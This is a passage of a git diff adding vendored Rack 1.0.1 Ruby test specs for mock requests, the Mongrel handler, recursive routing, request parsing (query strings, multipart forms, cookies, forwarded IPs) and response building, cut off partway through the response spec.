+    env["CONTENT_LENGTH"].should.equal "3"
+  end
+
+  specify "should allow posting" do
+    res = Rack::MockRequest.new(app).get("", :input => "foo")
+    env = YAML.load(res.body)
+    env["mock.postdata"].should.equal "foo"
+
+    res = Rack::MockRequest.new(app).post("", :input => StringIO.new("foo"))
+    env = YAML.load(res.body)
+    env["mock.postdata"].should.equal "foo"
+  end
+
+  specify "should use all parts of an URL" do
+    res = Rack::MockRequest.new(app).
+      get("https://bla.example.org:9292/meh/foo?bar")
+    res.should.be.kind_of Rack::MockResponse
+
+    env = YAML.load(res.body)
+    env["REQUEST_METHOD"].should.equal "GET"
+    env["SERVER_NAME"].should.equal "bla.example.org"
+    env["SERVER_PORT"].should.equal "9292"
+    env["QUERY_STRING"].should.equal "bar"
+    env["PATH_INFO"].should.equal "/meh/foo"
+    env["rack.url_scheme"].should.equal "https"
+  end
+
+  specify "should behave valid according to the Rack spec" do
+    lambda {
+      res = Rack::MockRequest.new(app).
+        get("https://bla.example.org:9292/meh/foo?bar", :lint => true)
+    }.should.not.raise(Rack::Lint::LintError)
+  end
+end
+
+context "Rack::MockResponse" do
+  specify "should provide access to the HTTP status" do
+    res = Rack::MockRequest.new(app).get("")
+    res.should.be.successful
+    res.should.be.ok
+
+    res = Rack::MockRequest.new(app).get("/?status=404")
+    res.should.not.be.successful
+    res.should.be.client_error
+    res.should.be.not_found
+
+    res = Rack::MockRequest.new(app).get("/?status=501")
+    res.should.not.be.successful
+    res.should.be.server_error
+
+    res = Rack::MockRequest.new(app).get("/?status=307")
+    res.should.be.redirect
+
+    res = Rack::MockRequest.new(app).get("/?status=201", :lint => true)
+    res.should.be.empty
+  end
+
+  specify "should provide access to the HTTP headers" do
+    res = Rack::MockRequest.new(app).get("")
+    res.should.include "Content-Type"
+    res.headers["Content-Type"].should.equal "text/yaml"
+    res.original_headers["Content-Type"].should.equal "text/yaml"
+    res["Content-Type"].should.equal "text/yaml"
+    res.content_type.should.equal "text/yaml"
+    res.content_length.should.be 401  # needs change often.
+    res.location.should.be.nil
+  end
+
+  specify "should provide access to the HTTP body" do
+    res = Rack::MockRequest.new(app).get("")
+    res.body.should =~ /rack/
+    res.should =~ /rack/
+    res.should.match(/rack/)
+    res.should.satisfy { |r| r.match(/rack/) }
+  end
+
+  specify "should provide access to the Rack errors" do
+    res = Rack::MockRequest.new(app).get("/?error=foo", :lint => true)
+    res.should.be.ok
+    res.errors.should.not.be.empty
+    res.errors.should.include "foo"
+  end
+
+  specify "should optionally make Rack errors fatal" do
+    lambda {
+      Rack::MockRequest.new(app).get("/?error=foo", :fatal => true)
+    }.should.raise(Rack::MockRequest::FatalWarning)
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_mongrel.rb b/vendor/gems/rack-1.0.1/test/spec_rack_mongrel.rb
new file mode 100644
index 00000000..d73e884c
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_mongrel.rb
@@ -0,0 +1,189 @@
+require 'test/spec'
+
+begin
+require 'rack/handler/mongrel'
+require 'rack/urlmap'
+require 'rack/lint'
+require 'testrequest'
+require 'timeout'
+  
+Thread.abort_on_exception = true
+$tcp_defer_accept_opts = nil
+$tcp_cork_opts = nil
+
+context "Rack::Handler::Mongrel" do
+  include TestRequest::Helpers
+  
+  setup do
+    server = Mongrel::HttpServer.new(@host='0.0.0.0', @port=9201)
+    server.register('/test',
+                    Rack::Handler::Mongrel.new(Rack::Lint.new(TestRequest.new)))
+    server.register('/stream',
+                    Rack::Handler::Mongrel.new(Rack::Lint.new(StreamingRequest)))
+    @acc = server.run
+  end
+
+  specify "should respond" do
+    lambda {
+      GET("/test")
+    }.should.not.raise
+  end
+
+  specify "should be a Mongrel" do
+    GET("/test")
+    status.should.be 200
+    response["SERVER_SOFTWARE"].should =~ /Mongrel/
+    response["HTTP_VERSION"].should.equal "HTTP/1.1"
+    response["SERVER_PROTOCOL"].should.equal "HTTP/1.1"
+    response["SERVER_PORT"].should.equal "9201"
+    response["SERVER_NAME"].should.equal "0.0.0.0"
+  end
+
+  specify "should have rack headers" do
+    GET("/test")
+    response["rack.version"].should.equal [1,0]
+    response["rack.multithread"].should.be true
+    response["rack.multiprocess"].should.be false
+    response["rack.run_once"].should.be false
+  end
+
+  specify "should have CGI headers on GET" do
+    GET("/test")
+    response["REQUEST_METHOD"].should.equal "GET"
+    response["SCRIPT_NAME"].should.equal "/test"
+    response["REQUEST_PATH"].should.equal "/test"
+    response["PATH_INFO"].should.be.nil
+    response["QUERY_STRING"].should.equal ""
+    response["test.postdata"].should.equal ""
+
+    GET("/test/foo?quux=1")
+    response["REQUEST_METHOD"].should.equal "GET"
+    response["SCRIPT_NAME"].should.equal "/test"
+    response["REQUEST_PATH"].should.equal "/test/foo"
+    response["PATH_INFO"].should.equal "/foo"
+    response["QUERY_STRING"].should.equal "quux=1"
+  end
+
+  specify "should have CGI headers on POST" do
+    POST("/test", {"rack-form-data" => "23"}, {'X-test-header' => '42'})
+    status.should.equal 200
+    response["REQUEST_METHOD"].should.equal "POST"
+    response["SCRIPT_NAME"].should.equal "/test"
+    response["REQUEST_PATH"].should.equal "/test"
+    response["QUERY_STRING"].should.equal ""
+    response["HTTP_X_TEST_HEADER"].should.equal "42"
+    response["test.postdata"].should.equal "rack-form-data=23"
+  end
+
+  specify "should support HTTP auth" do
+    GET("/test", {:user => "ruth", :passwd => "secret"})
+    response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ="
+  end
+
+  specify "should set status" do
+    GET("/test?secret")
+    status.should.equal 403
+    response["rack.url_scheme"].should.equal "http"
+  end
+
+  specify "should provide a .run" do
+    block_ran = false
+    Thread.new {
+      Rack::Handler::Mongrel.run(lambda {}, {:Port => 9211}) { |server|
+        server.should.be.kind_of Mongrel::HttpServer
+        block_ran = true
+      }
+    }
+    sleep 1
+    block_ran.should.be true
+  end
+
+  specify "should provide a .run that maps a hash" do
+    block_ran = false
+    Thread.new {
+      map = {'/'=>lambda{},'/foo'=>lambda{}}
+      Rack::Handler::Mongrel.run(map, :map => true, :Port => 9221) { |server|
+        server.should.be.kind_of Mongrel::HttpServer
+        server.classifier.uris.size.should.be 2
+        server.classifier.uris.should.not.include '/arf'
+        server.classifier.uris.should.include '/'
+        server.classifier.uris.should.include '/foo'
+        block_ran = true
+      }
+    }
+    sleep 1
+    block_ran.should.be true
+  end
+
+  specify "should provide a .run that maps a urlmap" do
+    block_ran = false
+    Thread.new {
+      map = Rack::URLMap.new({'/'=>lambda{},'/bar'=>lambda{}})
+      Rack::Handler::Mongrel.run(map, {:map => true, :Port => 9231}) { |server|
+        server.should.be.kind_of Mongrel::HttpServer
+        server.classifier.uris.size.should.be 2
+        server.classifier.uris.should.not.include '/arf'
+        server.classifier.uris.should.include '/'
+        server.classifier.uris.should.include '/bar'
+        block_ran = true
+      }
+    }
+    sleep 1
+    block_ran.should.be true
+  end
+
+  specify "should provide a .run that maps a urlmap restricting by host" do
+    block_ran = false
+    Thread.new {
+      map = Rack::URLMap.new({
+        '/' => lambda{},
+        '/foo' => lambda{},
+        '/bar' => lambda{},
+        'http://localhost/' => lambda{},
+        'http://localhost/bar' => lambda{},
+        'http://falsehost/arf' => lambda{},
+        'http://falsehost/qux' => lambda{}
+      })
+      opt = {:map => true, :Port => 9241, :Host => 'localhost'}
+      Rack::Handler::Mongrel.run(map, opt) { |server|
+        server.should.be.kind_of Mongrel::HttpServer
+        server.classifier.uris.should.include '/'
+        server.classifier.handler_map['/'].size.should.be 2
+        server.classifier.uris.should.include '/foo'
+        server.classifier.handler_map['/foo'].size.should.be 1
+        server.classifier.uris.should.include '/bar'
+        server.classifier.handler_map['/bar'].size.should.be 2
+        server.classifier.uris.should.not.include '/qux'
+        server.classifier.uris.should.not.include '/arf'
+        server.classifier.uris.size.should.be 3
+        block_ran = true
+      }
+    }
+    sleep 1
+    block_ran.should.be true
+  end
+
+  specify "should stream #each part of the response" do
+    body = ''
+    begin
+      Timeout.timeout(1) do
+        Net::HTTP.start(@host, @port) do |http|
+          get = Net::HTTP::Get.new('/stream')
+          http.request(get) do |response|
+            response.read_body { |part| body << part }
+          end
+        end
+      end
+    rescue Timeout::Error
+    end
+    body.should.not.be.empty
+  end
+
+  teardown do
+    @acc.raise Mongrel::StopServer
+  end
+end
+
+rescue LoadError
+  $stderr.puts "Skipping Rack::Handler::Mongrel tests (Mongrel is required). `gem install mongrel` and try again."
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_recursive.rb b/vendor/gems/rack-1.0.1/test/spec_rack_recursive.rb
new file mode 100644
index 00000000..afc1a0d9
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_recursive.rb
@@ -0,0 +1,77 @@
+require 'test/spec'
+
+require 'rack/recursive'
+require 'rack/urlmap'
+require 'rack/response'
+require 'rack/mock'
+
+context "Rack::Recursive" do
+  setup do
+
+    @app1 = lambda { |env|
+      res = Rack::Response.new
+      res["X-Path-Info"] = env["PATH_INFO"]
+      res["X-Query-String"] = env["QUERY_STRING"]
+      res.finish do |res|
+        res.write "App1"
+      end
+    }
+
+    @app2 = lambda { |env|
+      Rack::Response.new.finish do |res|
+        res.write "App2"
+        _, _, body = env['rack.recursive.include'].call(env, "/app1")
+        body.each { |b|
+          res.write b
+        }
+      end
+    }
+
+    @app3 = lambda { |env|
+      raise Rack::ForwardRequest.new("/app1")
+    }
+
+    @app4 = lambda { |env|
+      raise Rack::ForwardRequest.new("http://example.org/app1/quux?meh")
+    }
+
+  end
+
+  specify "should allow for subrequests" do
+    res = Rack::MockRequest.new(Rack::Recursive.new(
+                                  Rack::URLMap.new("/app1" => @app1,
+                                                   "/app2" => @app2))).
+      get("/app2")
+
+    res.should.be.ok
+    res.body.should.equal "App2App1"    
+  end
+
+  specify "should raise error on requests not below the app" do
+    app = Rack::URLMap.new("/app1" => @app1,
+                           "/app" => Rack::Recursive.new(
+                              Rack::URLMap.new("/1" => @app1,
+                                               "/2" => @app2)))
+
+    lambda {
+      Rack::MockRequest.new(app).get("/app/2")
+    }.should.raise(ArgumentError).
+      message.should =~ /can only include below/
+  end
+
+  specify "should support forwarding" do
+    app = Rack::Recursive.new(Rack::URLMap.new("/app1" => @app1,
+                                               "/app3" => @app3,
+                                               "/app4" => @app4))
+
+    res = Rack::MockRequest.new(app).get("/app3")
+    res.should.be.ok
+    res.body.should.equal "App1"
+
+    res = Rack::MockRequest.new(app).get("/app4")
+    res.should.be.ok
+    res.body.should.equal "App1"
+    res["X-Path-Info"].should.equal "/quux"
+    res["X-Query-String"].should.equal "meh"
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_request.rb b/vendor/gems/rack-1.0.1/test/spec_rack_request.rb
new file mode 100644
index 00000000..74e2f00a
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_request.rb
@@ -0,0 +1,504 @@
+require 'test/spec'
+require 'stringio'
+
+require 'rack/request'
+require 'rack/mock'
+
+context "Rack::Request" do
+  specify "wraps the rack variables" do
+    req = Rack::Request.new(Rack::MockRequest.env_for("http://example.com:8080/"))
+
+    req.body.should.respond_to? :gets
+    req.scheme.should.equal "http"
+    req.request_method.should.equal "GET"
+
+    req.should.be.get
+    req.should.not.be.post
+    req.should.not.be.put
+    req.should.not.be.delete
+    req.should.not.be.head
+
+    req.script_name.should.equal ""
+    req.path_info.should.equal "/"
+    req.query_string.should.equal ""
+
+    req.host.should.equal "example.com"
+    req.port.should.equal 8080
+
+    req.content_length.should.equal "0"
+    req.content_type.should.be.nil
+  end
+
+  specify "can figure out the correct host" do
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("/", "HTTP_HOST" => "www2.example.org")
+    req.host.should.equal "www2.example.org"
+
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("/", "SERVER_NAME" => "example.org:9292")
+    req.host.should.equal "example.org"
+
+    env = Rack::MockRequest.env_for("/")
+    env.delete("SERVER_NAME")
+    req = Rack::Request.new(env)
+    req.host.should.equal ""
+  end
+
+  specify "can parse the query string" do
+    req = Rack::Request.new(Rack::MockRequest.env_for("/?foo=bar&quux=bla"))
+    req.query_string.should.equal "foo=bar&quux=bla"
+    req.GET.should.equal "foo" => "bar", "quux" => "bla"
+    req.POST.should.be.empty
+    req.params.should.equal "foo" => "bar", "quux" => "bla"
+  end
+
+  specify "can parse POST data" do
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("/?foo=quux", :input => "foo=bar&quux=bla")
+    req.content_type.should.be.nil
+    req.media_type.should.be.nil
+    req.query_string.should.equal "foo=quux"
+    req.GET.should.equal "foo" => "quux"
+    req.POST.should.equal "foo" => "bar", "quux" => "bla"
+    req.params.should.equal "foo" => "bar", "quux" => "bla"
+  end
+
+  specify "can parse POST data with explicit content type" do
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("/",
+        "CONTENT_TYPE" => 'application/x-www-form-urlencoded;foo=bar',
+        :input => "foo=bar&quux=bla")
+    req.content_type.should.equal 'application/x-www-form-urlencoded;foo=bar'
+    req.media_type.should.equal 'application/x-www-form-urlencoded'
+    req.media_type_params['foo'].should.equal 'bar'
+    req.POST.should.equal "foo" => "bar", "quux" => "bla"
+    req.params.should.equal "foo" => "bar", "quux" => "bla"
+  end
+
+  specify "does not parse POST data when media type is not form-data" do
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("/?foo=quux",
+        "CONTENT_TYPE" => 'text/plain;charset=utf-8',
+        :input => "foo=bar&quux=bla")
+    req.content_type.should.equal 'text/plain;charset=utf-8'
+    req.media_type.should.equal 'text/plain'
+    req.media_type_params['charset'].should.equal 'utf-8'
+    req.POST.should.be.empty
+    req.params.should.equal "foo" => "quux"
+    req.body.read.should.equal "foo=bar&quux=bla"
+  end
+
+  specify "rewinds input after parsing POST data" do
+    input = StringIO.new("foo=bar&quux=bla")
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("/",
+        "CONTENT_TYPE" => 'application/x-www-form-urlencoded;foo=bar',
+        :input => input)
+    req.params.should.equal "foo" => "bar", "quux" => "bla"
+    input.read.should.equal "foo=bar&quux=bla"
+  end
+
+  specify "cleans up Safari's ajax POST body" do
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("/", :input => "foo=bar&quux=bla\0")
+    req.POST.should.equal "foo" => "bar", "quux" => "bla"
+  end
+
+  specify "can get value by key from params with #[]" do
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("?foo=quux")
+    req['foo'].should.equal 'quux'
+    req[:foo].should.equal 'quux'
+  end
+
+  specify "can set value to key on params with #[]=" do
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("?foo=duh")
+    req['foo'].should.equal 'duh'
+    req[:foo].should.equal 'duh'
+    req.params.should.equal 'foo' => 'duh'
+
+    req['foo'] = 'bar'
+    req.params.should.equal 'foo' => 'bar'
+    req['foo'].should.equal 'bar'
+    req[:foo].should.equal 'bar'
+
+    req[:foo] = 'jaz'
+    req.params.should.equal 'foo' => 'jaz'
+    req['foo'].should.equal 'jaz'
+    req[:foo].should.equal 'jaz'
+  end
+
+  specify "values_at answers values by keys in order given" do
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("?foo=baz&wun=der&bar=ful")
+    req.values_at('foo').should.equal ['baz']
+    req.values_at('foo', 'wun').should.equal ['baz', 'der']
+    req.values_at('bar', 'foo', 'wun').should.equal ['ful', 'baz', 'der']
+  end
+
+  specify "referrer should be extracted correct" do
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("/", "HTTP_REFERER" => "/some/path")
+    req.referer.should.equal "/some/path"
+
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("/")
+    req.referer.should.equal "/"
+  end
+
+  specify "can cache, but invalidates the cache" do
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("/?foo=quux", :input => "foo=bar&quux=bla")
+    req.GET.should.equal "foo" => "quux"
+    req.GET.should.equal "foo" => "quux"
+    req.env["QUERY_STRING"] = "bla=foo"
+    req.GET.should.equal "bla" => "foo"
+    req.GET.should.equal "bla" => "foo"
+
+    req.POST.should.equal "foo" => "bar", "quux" => "bla"
+    req.POST.should.equal "foo" => "bar", "quux" => "bla"
+    req.env["rack.input"] = StringIO.new("foo=bla&quux=bar")
+    req.POST.should.equal "foo" => "bla", "quux" => "bar"
+    req.POST.should.equal "foo" => "bla", "quux" => "bar"
+  end
+
+  specify "can figure out if called via XHR" do
+    req = Rack::Request.new(Rack::MockRequest.env_for(""))
+    req.should.not.be.xhr
+
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("", "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest")
+    req.should.be.xhr
+  end
+
+  specify "can parse cookies" do
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("", "HTTP_COOKIE" => "foo=bar;quux=h&m")
+    req.cookies.should.equal "foo" => "bar", "quux" => "h&m"
+    req.cookies.should.equal "foo" => "bar", "quux" => "h&m"
+    req.env.delete("HTTP_COOKIE")
+    req.cookies.should.equal({})
+  end
+
+  specify "parses cookies according to RFC 2109" do
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for('', 'HTTP_COOKIE' => 'foo=bar;foo=car')
+    req.cookies.should.equal 'foo' => 'bar'
+  end
+
+  specify "provides setters" do
+    req = Rack::Request.new(e=Rack::MockRequest.env_for(""))
+    req.script_name.should.equal ""
+    req.script_name = "/foo"
+    req.script_name.should.equal "/foo"
+    e["SCRIPT_NAME"].should.equal "/foo"
+
+    req.path_info.should.equal "/"
+    req.path_info = "/foo"
+    req.path_info.should.equal "/foo"
+    e["PATH_INFO"].should.equal "/foo"
+  end
+
+  specify "provides the original env" do
+    req = Rack::Request.new(e=Rack::MockRequest.env_for(""))
+    req.env.should.be e
+  end
+
+  specify "can restore the URL" do
+    Rack::Request.new(Rack::MockRequest.env_for("")).url.
+      should.equal "http://example.org/"
+    Rack::Request.new(Rack::MockRequest.env_for("", "SCRIPT_NAME" => "/foo")).url.
+      should.equal "http://example.org/foo/"
+    Rack::Request.new(Rack::MockRequest.env_for("/foo")).url.
+      should.equal "http://example.org/foo"
+    Rack::Request.new(Rack::MockRequest.env_for("?foo")).url.
+      should.equal "http://example.org/?foo"
+    Rack::Request.new(Rack::MockRequest.env_for("http://example.org:8080/")).url.
+      should.equal "http://example.org:8080/"
+    Rack::Request.new(Rack::MockRequest.env_for("https://example.org/")).url.
+      should.equal "https://example.org/"
+
+    Rack::Request.new(Rack::MockRequest.env_for("https://example.com:8080/foo?foo")).url.
+      should.equal "https://example.com:8080/foo?foo"
+  end
+
+  specify "can restore the full path" do
+    Rack::Request.new(Rack::MockRequest.env_for("")).fullpath.
+      should.equal "/"
+    Rack::Request.new(Rack::MockRequest.env_for("", "SCRIPT_NAME" => "/foo")).fullpath.
+      should.equal "/foo/"
+    Rack::Request.new(Rack::MockRequest.env_for("/foo")).fullpath.
+      should.equal "/foo"
+    Rack::Request.new(Rack::MockRequest.env_for("?foo")).fullpath.
+      should.equal "/?foo"
+    Rack::Request.new(Rack::MockRequest.env_for("http://example.org:8080/")).fullpath.
+      should.equal "/"
+    Rack::Request.new(Rack::MockRequest.env_for("https://example.org/")).fullpath.
+      should.equal "/"
+
+    Rack::Request.new(Rack::MockRequest.env_for("https://example.com:8080/foo?foo")).fullpath.
+      should.equal "/foo?foo"
+  end
+
+  specify "can handle multiple media type parameters" do
+    req = Rack::Request.new \
+      Rack::MockRequest.env_for("/",
+        "CONTENT_TYPE" => 'text/plain; foo=BAR,baz=bizzle dizzle;BLING=bam')
+      req.should.not.be.form_data
+      req.media_type_params.should.include 'foo'
+      req.media_type_params['foo'].should.equal 'BAR'
+      req.media_type_params.should.include 'baz'
+      req.media_type_params['baz'].should.equal 'bizzle dizzle'
+      req.media_type_params.should.not.include 'BLING'
+      req.media_type_params.should.include 'bling'
+      req.media_type_params['bling'].should.equal 'bam'
+  end
+
+  specify "can parse multipart form data" do
+    # Adapted from RFC 1867.
+    input = <<EOF
+--AaB03x\r
+content-disposition: form-data; name="reply"\r
+\r
+yes\r
+--AaB03x\r
+content-disposition: form-data; name="fileupload"; filename="dj.jpg"\r
+Content-Type: image/jpeg\r
+Content-Transfer-Encoding: base64\r
+\r
+/9j/4AAQSkZJRgABAQAAAQABAAD//gA+Q1JFQVRPUjogZ2QtanBlZyB2MS4wICh1c2luZyBJSkcg\r
+--AaB03x--\r
+EOF
+    req = Rack::Request.new Rack::MockRequest.env_for("/",
+                      "CONTENT_TYPE" => "multipart/form-data, boundary=AaB03x",
+                      "CONTENT_LENGTH" => input.size,
+                      :input => input)
+
+    req.POST.should.include "fileupload"
+    req.POST.should.include "reply"
+
+    req.should.be.form_data
+    req.content_length.should.equal input.size
+    req.media_type.should.equal 'multipart/form-data'
+    req.media_type_params.should.include 'boundary'
+    req.media_type_params['boundary'].should.equal 'AaB03x'
+
+    req.POST["reply"].should.equal "yes"
+
+    f = req.POST["fileupload"]
+    f.should.be.kind_of Hash
+    f[:type].should.equal "image/jpeg"
+    f[:filename].should.equal "dj.jpg"
+    f.should.include :tempfile
+    f[:tempfile].size.should.equal 76
+  end
+
+  specify "can parse big multipart form data" do
+    input = <<EOF
+--AaB03x\r
+content-disposition: form-data; name="huge"; filename="huge"\r
+\r
+#{"x"*32768}\r
+--AaB03x\r
+content-disposition: form-data; name="mean"; filename="mean"\r
+\r
+--AaB03xha\r
+--AaB03x--\r
+EOF
+    req = Rack::Request.new Rack::MockRequest.env_for("/",
+                      "CONTENT_TYPE" => "multipart/form-data, boundary=AaB03x",
+                      "CONTENT_LENGTH" => input.size,
+                      :input => input)
+
+    req.POST["huge"][:tempfile].size.should.equal 32768
+    req.POST["mean"][:tempfile].size.should.equal 10
+    req.POST["mean"][:tempfile].read.should.equal "--AaB03xha"
+  end
+
+  specify "can detect invalid multipart form data" do
+    input = <<EOF
+--AaB03x\r
+content-disposition: form-data; name="huge"; filename="huge"\r
+EOF
+    req = Rack::Request.new Rack::MockRequest.env_for("/",
+                      "CONTENT_TYPE" => "multipart/form-data, boundary=AaB03x",
+                      "CONTENT_LENGTH" => input.size,
+                      :input => input)
+
+    lambda { req.POST }.should.raise(EOFError)
+
+    input = <<EOF
+--AaB03x\r
+content-disposition: form-data; name="huge"; filename="huge"\r
+\r
+foo\r
+EOF
+    req = Rack::Request.new Rack::MockRequest.env_for("/",
+                      "CONTENT_TYPE" => "multipart/form-data, boundary=AaB03x",
+                      "CONTENT_LENGTH" => input.size,
+                      :input => input)
+
+    lambda { req.POST }.should.raise(EOFError)
+
+    input = <<EOF
+--AaB03x\r
+content-disposition: form-data; name="huge"; filename="huge"\r
+\r
+foo\r
+EOF
+    req = Rack::Request.new Rack::MockRequest.env_for("/",
+                      "CONTENT_TYPE" => "multipart/form-data, boundary=AaB03x",
+                      "CONTENT_LENGTH" => input.size,
+                      :input => input)
+
+    lambda { req.POST }.should.raise(EOFError)
+  end
+
+  specify "shouldn't try to interpret binary as utf8" do
+    begin
+      original_kcode = $KCODE
+      $KCODE='UTF8'
+
+      input = <<EOF
+--AaB03x\r
+content-disposition: form-data; name="fileupload"; filename="junk.a"\r
+content-type: application/octet-stream\r
+\r
+#{[0x36,0xCF,0x0A,0xF8].pack('c*')}\r
+--AaB03x--\r
+EOF
+
+      req = Rack::Request.new Rack::MockRequest.env_for("/",
+                        "CONTENT_TYPE" => "multipart/form-data, boundary=AaB03x",
+                        "CONTENT_LENGTH" => input.size,
+                        :input => input)
+
+      lambda{req.POST}.should.not.raise(EOFError)
+      req.POST["fileupload"][:tempfile].size.should.equal 4
+    ensure
+      $KCODE = original_kcode
+    end
+  end
+
+
+  specify "should work around buggy 1.8.* Tempfile equality" do
+    input = <<EOF
+--AaB03x\r
+content-disposition: form-data; name="huge"; filename="huge"\r
+\r
+foo\r
+--AaB03x--
+EOF
+
+    rack_input = Tempfile.new("rackspec")
+    rack_input.write(input)
+    rack_input.rewind
+
+    req = Rack::Request.new Rack::MockRequest.env_for("/",
+                      "CONTENT_TYPE" => "multipart/form-data, boundary=AaB03x",
+                      "CONTENT_LENGTH" => input.size,
+                      :input => rack_input)
+
+    lambda {req.POST}.should.not.raise
+    lambda {req.POST}.should.blaming("input re-processed!").not.raise
+  end
+
+  specify "does conform to the Rack spec" do
+    app = lambda { |env|
+      content = Rack::Request.new(env).POST["file"].inspect
+      size = content.respond_to?(:bytesize) ? content.bytesize : content.size
+      [200, {"Content-Type" => "text/html", "Content-Length" => size.to_s}, [content]]
+    }
+
+    input = <<EOF
+--AaB03x\r
+content-disposition: form-data; name="reply"\r
+\r
+yes\r
+--AaB03x\r
+content-disposition: form-data; name="fileupload"; filename="dj.jpg"\r
+Content-Type: image/jpeg\r
+Content-Transfer-Encoding: base64\r
+\r
+/9j/4AAQSkZJRgABAQAAAQABAAD//gA+Q1JFQVRPUjogZ2QtanBlZyB2MS4wICh1c2luZyBJSkcg\r
+--AaB03x--\r
+EOF
+    res = Rack::MockRequest.new(Rack::Lint.new(app)).get "/",
+      "CONTENT_TYPE" => "multipart/form-data, boundary=AaB03x",
+      "CONTENT_LENGTH" => input.size.to_s, "rack.input" => StringIO.new(input)
+
+    res.should.be.ok
+  end
+
+  specify "should parse Accept-Encoding correctly" do
+    parser = lambda do |x|
+      Rack::Request.new(Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => x)).accept_encoding
+    end
+
+    parser.call(nil).should.equal([])
+
+    parser.call("compress, gzip").should.equal([["compress", 1.0], ["gzip", 1.0]])
+    parser.call("").should.equal([])
+    parser.call("*").should.equal([["*", 1.0]])
+    parser.call("compress;q=0.5, gzip;q=1.0").should.equal([["compress", 0.5], ["gzip", 1.0]])
+    parser.call("gzip;q=1.0, identity; q=0.5, *;q=0").should.equal([["gzip", 1.0], ["identity", 0.5], ["*", 0] ])
+
+    lambda { parser.call("gzip ; q=1.0") }.should.raise(RuntimeError)
+  end
+
+  specify 'should provide ip information' do
+    app = lambda { |env|
+      request = Rack::Request.new(env)
+      response = Rack::Response.new
+      response.write request.ip
+      response.finish
+    }
+
+    mock = Rack::MockRequest.new(Rack::Lint.new(app))
+    res = mock.get '/', 'REMOTE_ADDR' => '123.123.123.123'
+    res.body.should.equal '123.123.123.123'
+
+    res = mock.get '/',
+      'REMOTE_ADDR' => '123.123.123.123',
+      'HTTP_X_FORWARDED_FOR' => '234.234.234.234'
+
+    res.body.should.equal '234.234.234.234'
+
+    res = mock.get '/',
+      'REMOTE_ADDR' => '123.123.123.123',
+      'HTTP_X_FORWARDED_FOR' => '234.234.234.234,212.212.212.212'
+
+    res.body.should.equal '212.212.212.212'
+  end
+
+  class MyRequest < Rack::Request
+    def params
+      {:foo => "bar"}
+    end
+  end
+
+  specify "should allow subclass request to be instantiated after parent request" do
+    env = Rack::MockRequest.env_for("/?foo=bar")
+
+    req1 = Rack::Request.new(env)
+    req1.GET.should.equal "foo" => "bar"
+    req1.params.should.equal "foo" => "bar"
+
+    req2 = MyRequest.new(env)
+    req2.GET.should.equal "foo" => "bar"
+    req2.params.should.equal :foo => "bar"
+  end
+
+  specify "should allow parent request to be instantiated after subclass request" do
+    env = Rack::MockRequest.env_for("/?foo=bar")
+
+    req1 = MyRequest.new(env)
+    req1.GET.should.equal "foo" => "bar"
+    req1.params.should.equal :foo => "bar"
+
+    req2 = Rack::Request.new(env)
+    req2.GET.should.equal "foo" => "bar"
+    req2.params.should.equal "foo" => "bar"
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_response.rb b/vendor/gems/rack-1.0.1/test/spec_rack_response.rb
new file mode 100644
index 00000000..eb59b5c2
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_response.rb
@@ -0,0 +1,218 @@
+require 'test/spec'
+require 'set'
+
+require 'rack/response'
+
+context "Rack::Response" do
+  specify "has sensible default values" do
+    response = Rack::Response.new
+    status, header, body = response.finish
+    status.should.equal 200
+    header.should.equal "Content-Type" => "text/html"
+    body.each { |part|
+      part.should.equal ""
+    }
+
+    response = Rack::Response.new
+    status, header, body = *response
+    status.should.equal 200
+    header.should.equal "Content-Type" => "text/html"
+    body.each { |part|
+      part.should.equal ""
+    }
+  end
+
+  specify "can be written to" do
+    response = Rack::Response.new
+
+    status, header, body = response.finish do
+      response.write "foo"
+      response.write "bar"
+      response.write "baz"
+    end
+    
+    parts = []
+    body.each { |part| parts << part }
+    
+    parts.should.equal ["foo", "bar", "baz"]
+  end
+
+  specify "can set and read headers" do
+    response = Rack::Response.new
+    response["Content-Type"].should.equal "text/html"
+    response["Content-Type"] = "text/plain"
+    response["Content-Type"].should.equal "text/plain"
+  end
+
+  specify "can set cookies" do
+    response = Rack::Response.new
+    
+    response.set_cookie "foo", "bar"
+    response["Set-Cookie"].should.equal "foo=bar"
+    response.set_cookie "foo2", "bar2"
+    response["Set-Cookie"].should.equal ["foo=bar", "foo2=bar2"]
+    response.set_cookie "foo3", "bar3"
+    response["Set-Cookie"].should.equal ["foo=bar", "foo2=bar2", "foo3=bar3"]
+  end
+
+  specify "formats the Cookie expiration date accordingly to RFC 2109" do
+    response = Rack::Response.new
+    
+    response.set_cookie "foo", {:value => "bar", :expires => Time.now+10}
+    response["Set-Cookie"].should.match(
+      /expires=..., \d\d-...-\d\d\d\d \d\d:\d\d:\d\d .../)
+  end
+
+  specify "can set secure cookies" do
+    response = Rack::Response.new
+    response.set_cookie "foo", {:value => "bar", :secure => true}
+    response["Set-Cookie"].should.equal "foo=bar; secure"
+  end
+
+  specify "can set http only cookies" do
+    response = Rack::Response.new
+    response.set_cookie "foo", {:value => "bar", :httponly => true}
+    response["Set-Cookie"].should.equal "foo=bar; HttpOnly"
+  end
+
+  specify "can delete cookies" do
